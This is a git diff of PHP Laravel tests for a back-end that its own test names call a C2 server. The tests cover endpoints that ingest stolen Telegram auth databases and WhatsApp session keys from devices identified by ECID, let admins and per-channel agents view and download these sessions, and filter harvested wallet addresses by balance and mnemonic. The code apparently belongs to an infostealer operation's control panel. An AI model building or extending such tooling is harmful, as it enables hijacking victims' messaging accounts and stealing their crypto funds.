]);
|
||||||
|
PluginSession::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'device_key' => $device->device_id,
|
||||||
|
'kind' => PluginSession::KIND_WHATSAPP,
|
||||||
|
'account_id' => '15551230000',
|
||||||
|
'phone' => '15551230000',
|
||||||
|
'payload' => [
|
||||||
|
'userId' => '15551230000',
|
||||||
|
'nickname' => 'wa-nick',
|
||||||
|
'whatsappVersion' => '2.24.0',
|
||||||
|
'clientStaticKeypairBase64' => 'QUJD',
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
PluginSession::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'device_key' => $device->device_id,
|
||||||
|
'kind' => PluginSession::KIND_TELEGRAM,
|
||||||
|
'account_id' => '987654',
|
||||||
|
'payload' => [
|
||||||
|
'user_id' => '987654',
|
||||||
|
'state' => ['records' => []],
|
||||||
|
'db_sqlite' => str_repeat('A', 400),
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->get(route('admin.whatsapp.index'))
|
||||||
|
->assertOk()
|
||||||
|
->assertSee('WS 参数');
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.whatsapp.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.account_id', '15551230000')
|
||||||
|
->assertJsonPath('data.0.nickname', 'wa-nick')
|
||||||
|
->assertJsonPath('data.0.has_keystore', true)
|
||||||
|
->assertJsonMissingPath('data.0.payload_json');
|
||||||
|
|
||||||
|
$tg = $this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.telegram.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.account_id', '987654')
|
||||||
|
->assertJsonPath('data.0.has_db', true)
|
||||||
|
->json();
|
||||||
|
$this->assertArrayNotHasKey('payload_json', $tg['data'][0] ?? []);
|
||||||
|
|
||||||
|
$tgPayload = $this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.sessions.payload', PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first()))
|
||||||
|
->assertOk()
|
||||||
|
->json('data.payload_json');
|
||||||
|
$this->assertStringContainsString(str_repeat('A', 400), (string) $tgPayload);
|
||||||
|
$this->assertStringNotContainsString('400 bytes', (string) $tgPayload);
|
||||||
|
|
||||||
|
$tgRow = PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first();
|
||||||
|
$download = $this->actingAs($admin, 'admin')
|
||||||
|
->get(route('admin.sessions.download', $tgRow))
|
||||||
|
->assertOk();
|
||||||
|
$this->assertStringContainsString('attachment', (string) $download->headers->get('content-disposition'));
|
||||||
|
$this->assertStringContainsString(str_repeat('A', 400), $download->streamedContent());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function agent_only_sees_own_channel_sessions(): void
|
||||||
|
{
|
||||||
|
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
|
||||||
|
$agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]);
|
||||||
|
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||||
|
$chB = 'cccccccccccccccccccccccccccccccc';
|
||||||
|
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
||||||
|
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
||||||
|
|
||||||
|
$devA = Device::query()->create(['device_id' => 'dev-a', 'channel_id' => $chA]);
|
||||||
|
$devB = Device::query()->create(['device_id' => 'dev-b', 'channel_id' => $chB]);
|
||||||
|
PluginSession::query()->create([
|
||||||
|
'device_id' => $devA->id,
|
||||||
|
'device_key' => 'dev-a',
|
||||||
|
'kind' => PluginSession::KIND_TELEGRAM,
|
||||||
|
'account_id' => 'aaa',
|
||||||
|
'payload' => ['user_id' => 'aaa'],
|
||||||
|
]);
|
||||||
|
PluginSession::query()->create([
|
||||||
|
'device_id' => $devB->id,
|
||||||
|
'device_key' => 'dev-b',
|
||||||
|
'kind' => PluginSession::KIND_TELEGRAM,
|
||||||
|
'account_id' => 'bbb',
|
||||||
|
'payload' => ['user_id' => 'bbb'],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($agentA, 'agent')
|
||||||
|
->getJson(route('user.telegram.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.account_id', 'aaa');
|
||||||
|
|
||||||
|
$own = PluginSession::query()->where('account_id', 'aaa')->first();
|
||||||
|
$other = PluginSession::query()->where('account_id', 'bbb')->first();
|
||||||
|
$this->actingAs($agentA, 'agent')
|
||||||
|
->getJson(route('user.sessions.payload', $own))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0);
|
||||||
|
$this->actingAs($agentA, 'agent')
|
||||||
|
->getJson(route('user.sessions.payload', $other))
|
||||||
|
->assertForbidden();
|
||||||
|
$this->actingAs($agentA, 'agent')
|
||||||
|
->get(route('user.sessions.download', $own))
|
||||||
|
->assertOk();
|
||||||
|
$this->actingAs($agentA, 'agent')
|
||||||
|
->get(route('user.sessions.download', $other))
|
||||||
|
->assertForbidden();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,108 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
namespace Tests\Feature;
|
|
||||||
|
|
||||||
use App\Models\Admin;
|
|
||||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
||||||
use PHPUnit\Framework\Attributes\Test;
|
|
||||||
use Tests\TestCase;
|
|
||||||
|
|
||||||
class RawLogControllerTest extends TestCase
|
|
||||||
{
|
|
||||||
use RefreshDatabase;
|
|
||||||
|
|
||||||
private function superAdmin(): Admin
|
|
||||||
{
|
|
||||||
return Admin::query()->create([
|
|
||||||
'username' => 'root',
|
|
||||||
'password' => 'secret12',
|
|
||||||
'is_super' => 1,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Test]
|
|
||||||
public function xxbb_log_show_pages_instead_of_loading_the_whole_file(): void
|
|
||||||
{
|
|
||||||
$dir = public_path('log/xxbb');
|
|
||||||
if (! is_dir($dir)) {
|
|
||||||
mkdir($dir, 0775, true);
|
|
||||||
}
|
|
||||||
$file = $dir.'/20990101.log';
|
|
||||||
$chunks = [];
|
|
||||||
for ($i = 1; $i <= 90; $i++) {
|
|
||||||
$chunks[] = '2026-08-14 13:00:00 /event {"n":'.$i.',"marker":"ENTRY-'.$i.'"}';
|
|
||||||
}
|
|
||||||
file_put_contents($file, implode("\r\n\r\n", $chunks)."\r\n\r\n");
|
|
||||||
|
|
||||||
try {
|
|
||||||
$admin = $this->superAdmin();
|
|
||||||
$page1 = $this->actingAs($admin, 'admin')
|
|
||||||
->get(route('admin.logs.show', [
|
|
||||||
'kind' => 'xxbb',
|
|
||||||
'file' => '20990101.log',
|
|
||||||
'per_page' => 40,
|
|
||||||
]))
|
|
||||||
->assertOk();
|
|
||||||
$html1 = $page1->getContent();
|
|
||||||
$this->assertSame(40, substr_count($html1, 'class="json-block"'));
|
|
||||||
$this->assertStringContainsString('ENTRY-90', $html1);
|
|
||||||
$this->assertStringContainsString('新版', $html1);
|
|
||||||
$this->assertStringNotContainsString('ENTRY-50', $html1);
|
|
||||||
$this->assertStringContainsString('更早', $html1);
|
|
||||||
|
|
||||||
$page2 = $this->actingAs($admin, 'admin')
|
|
||||||
->get(route('admin.logs.show', [
|
|
||||||
'kind' => 'xxbb',
|
|
||||||
'file' => '20990101.log',
|
|
||||||
'per_page' => 40,
|
|
||||||
'page' => 2,
|
|
||||||
]))
|
|
||||||
->assertOk();
|
|
||||||
$html2 = $page2->getContent();
|
|
||||||
$this->assertStringContainsString('ENTRY-50', $html2);
|
|
||||||
$this->assertStringNotContainsString('ENTRY-90', $html2);
|
|
||||||
} finally {
|
|
||||||
@unlink($file);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Test]
|
|
||||||
public function xxbb_and_c2_same_filename_do_not_mix(): void
|
|
||||||
{
|
|
||||||
foreach (['c2' => 'OLD-C2-MARKER', 'xxbb' => 'NEW-XXBB-MARKER'] as $kind => $marker) {
|
|
||||||
$dir = public_path('log/'.$kind);
|
|
||||||
if (! is_dir($dir)) {
|
|
||||||
mkdir($dir, 0775, true);
|
|
||||||
}
|
|
||||||
file_put_contents(
|
|
||||||
$dir.'/20990102.log',
|
|
||||||
'2026-08-14 13:00:00 /probe {"marker":"'.$marker.'"}'."\r\n\r\n"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
$admin = $this->superAdmin();
|
|
||||||
$index = $this->actingAs($admin, 'admin')
|
|
||||||
->get(route('admin.logs.index'))
|
|
||||||
->assertOk();
|
|
||||||
$index->assertSee('/admin/logs/xxbb/20990102.log', false);
|
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
|
||||||
->get(route('admin.logs.show', ['kind' => 'xxbb', 'file' => '20990102.log']))
|
|
||||||
->assertOk()
|
|
||||||
->assertSee('NEW-XXBB-MARKER')
|
|
||||||
->assertSee('新版')
|
|
||||||
->assertDontSee('OLD-C2-MARKER');
|
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
|
||||||
->get(route('admin.logs.show', ['kind' => 'c2', 'file' => '20990102.log']))
|
|
||||||
->assertOk()
|
|
||||||
->assertSee('OLD-C2-MARKER')
|
|
||||||
->assertSee('旧版')
|
|
||||||
->assertDontSee('NEW-XXBB-MARKER');
|
|
||||||
} finally {
|
|
||||||
@unlink(public_path('log/c2/20990102.log'));
|
|
||||||
@unlink(public_path('log/xxbb/20990102.log'));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -63,10 +63,6 @@ class SystemAdminTest extends TestCase
|
|||||||
$this->actingAs($staff, 'admin')
|
$this->actingAs($staff, 'admin')
|
||||||
->get(route('admin.system.admins.index'))
|
->get(route('admin.system.admins.index'))
|
||||||
->assertForbidden();
|
->assertForbidden();
|
||||||
|
|
||||||
$this->actingAs($staff, 'admin')
|
|
||||||
->get(route('admin.logs.index'))
|
|
||||||
->assertForbidden();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -83,7 +79,8 @@ class SystemAdminTest extends TestCase
|
|||||||
->get(route('admin.home'))
|
->get(route('admin.home'))
|
||||||
->assertOk()
|
->assertOk()
|
||||||
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
|
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
|
||||||
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false);
|
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false)
|
||||||
|
->assertDontSee('原始日志');
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -94,7 +91,8 @@ class SystemAdminTest extends TestCase
|
|||||||
->assertOk()
|
->assertOk()
|
||||||
->assertSee('系统')
|
->assertSee('系统')
|
||||||
->assertSee('设置')
|
->assertSee('设置')
|
||||||
->assertSee('管理员');
|
->assertSee('管理员')
|
||||||
|
->assertDontSee('原始日志');
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
@@ -97,6 +97,25 @@ class WalletAddressFilterTest extends TestCase
|
|||||||
->assertJsonMissing(['address' => 'addr-with-mnemonic']);
|
->assertJsonMissing(['address' => 'addr-with-mnemonic']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function filters_by_address(): void
|
||||||
|
{
|
||||||
|
$this->seedRows();
|
||||||
|
$admin = $this->admin();
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.addresses.data', ['address' => 'with-balance']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.address', 'addr-with-balance');
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.addresses.data', ['address' => 'addr-plain']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.address', 'addr-plain');
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function filters_by_has_balance(): void
|
public function filters_by_has_balance(): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -387,6 +387,7 @@ class XxbbC2ApiTest extends TestCase
|
|||||||
#[Test]
|
#[Test]
|
||||||
public function api_tg_t_ingests_telegram_auth(): void
|
public function api_tg_t_ingests_telegram_auth(): void
|
||||||
{
|
{
|
||||||
|
Storage::fake('local');
|
||||||
$this->xxbbPost('/api/tg/t', [
|
$this->xxbbPost('/api/tg/t', [
|
||||||
'd' => '000C30D83CD0402E',
|
'd' => '000C30D83CD0402E',
|
||||||
'd1' => '00008030-000C30D83CD0402E',
|
'd1' => '00008030-000C30D83CD0402E',
|
||||||
@@ -408,13 +409,20 @@ class XxbbC2ApiTest extends TestCase
|
|||||||
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
||||||
$this->assertSame('123456789', $row->account_id);
|
$this->assertSame('123456789', $row->account_id);
|
||||||
$this->assertSame('123456789', $row->payload['user_id'] ?? null);
|
$this->assertSame('123456789', $row->payload['user_id'] ?? null);
|
||||||
$this->assertArrayHasKey('db_sqlite', $row->payload);
|
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
|
||||||
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
|
$this->assertArrayNotHasKey('db_sqlite', $row->payload ?? []);
|
||||||
|
Storage::disk('local')->assertExists($row->payload['payload_path']);
|
||||||
|
$full = $row->fullPayload();
|
||||||
|
$this->assertArrayHasKey('db_sqlite', $full);
|
||||||
|
$this->assertSame('AQID', $full['datacenterAuthInfoById'] ?? null);
|
||||||
|
$this->assertTrue($device->fresh()->hasTelegram());
|
||||||
|
$this->assertFalse($device->fresh()->hasWhatsApp());
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function api_tg_t_ingests_ecid_envelope(): void
|
public function api_tg_t_ingests_ecid_envelope(): void
|
||||||
{
|
{
|
||||||
|
Storage::fake('local');
|
||||||
$this->xxbbPost('/api/tg/t', [
|
$this->xxbbPost('/api/tg/t', [
|
||||||
'ecid' => '00025D800C22001E',
|
'ecid' => '00025D800C22001E',
|
||||||
'unique' => '00008101-00025D800C22001E',
|
'unique' => '00008101-00025D800C22001E',
|
||||||
@@ -432,12 +440,14 @@ class XxbbC2ApiTest extends TestCase
|
|||||||
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
|
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
|
||||||
$this->assertSame('37603278499', $row->account_id);
|
$this->assertSame('37603278499', $row->account_id);
|
||||||
$this->assertSame('37603278499', $row->payload['user_id'] ?? null);
|
$this->assertSame('37603278499', $row->payload['user_id'] ?? null);
|
||||||
$this->assertArrayHasKey('db_sqlite', $row->payload);
|
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
|
||||||
|
$this->assertArrayHasKey('db_sqlite', $row->fullPayload());
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function api_wp_t_ingests_whatsapp_session(): void
|
public function api_wp_t_ingests_whatsapp_session(): void
|
||||||
{
|
{
|
||||||
|
Storage::fake('local');
|
||||||
$this->xxbbPost('/api/wp/t', [
|
$this->xxbbPost('/api/wp/t', [
|
||||||
'd' => '000C30D83CD0402E',
|
'd' => '000C30D83CD0402E',
|
||||||
'd1' => '00008030-000C30D83CD0402E',
|
'd1' => '00008030-000C30D83CD0402E',
|
||||||
@@ -461,12 +471,22 @@ class XxbbC2ApiTest extends TestCase
|
|||||||
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
||||||
$this->assertSame('15551234567', $row->account_id);
|
$this->assertSame('15551234567', $row->account_id);
|
||||||
$this->assertSame('15551234567', $row->phone);
|
$this->assertSame('15551234567', $row->phone);
|
||||||
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
|
$this->assertSame(
|
||||||
|
PluginSession::whatsappFilePath('000C30D83CD0402E', '15551234567'),
|
||||||
|
$row->payload['payload_path'] ?? null
|
||||||
|
);
|
||||||
|
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
|
||||||
|
Storage::disk('local')->assertExists($row->payload['payload_path']);
|
||||||
|
$full = $row->fullPayload();
|
||||||
|
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
|
||||||
|
$this->assertTrue($device->fresh()->hasWhatsApp());
|
||||||
|
$this->assertFalse($device->fresh()->hasTelegram());
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function api_wp_t_ingests_account_data_envelope(): void
|
public function api_wp_t_ingests_account_data_envelope(): void
|
||||||
{
|
{
|
||||||
|
Storage::fake('local');
|
||||||
$this->xxbbPost('/api/wp/t', [
|
$this->xxbbPost('/api/wp/t', [
|
||||||
'account' => '2348034472071',
|
'account' => '2348034472071',
|
||||||
'ecid' => '0006345E0A09002E',
|
'ecid' => '0006345E0A09002E',
|
||||||
@@ -489,9 +509,11 @@ class XxbbC2ApiTest extends TestCase
|
|||||||
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
|
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
|
||||||
$this->assertSame('2348034472071', $row->account_id);
|
$this->assertSame('2348034472071', $row->account_id);
|
||||||
$this->assertSame('2348034472071', $row->phone);
|
$this->assertSame('2348034472071', $row->phone);
|
||||||
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
|
|
||||||
$this->assertSame('wa-nick', $row->payload['nickname'] ?? null);
|
$this->assertSame('wa-nick', $row->payload['nickname'] ?? null);
|
||||||
$this->assertIsArray($row->payload['phoneKeyStore'] ?? null);
|
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
|
||||||
|
$full = $row->fullPayload();
|
||||||
|
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
|
||||||
|
$this->assertIsArray($full['phoneKeyStore'] ?? null);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
Reference in New Issue
Block a user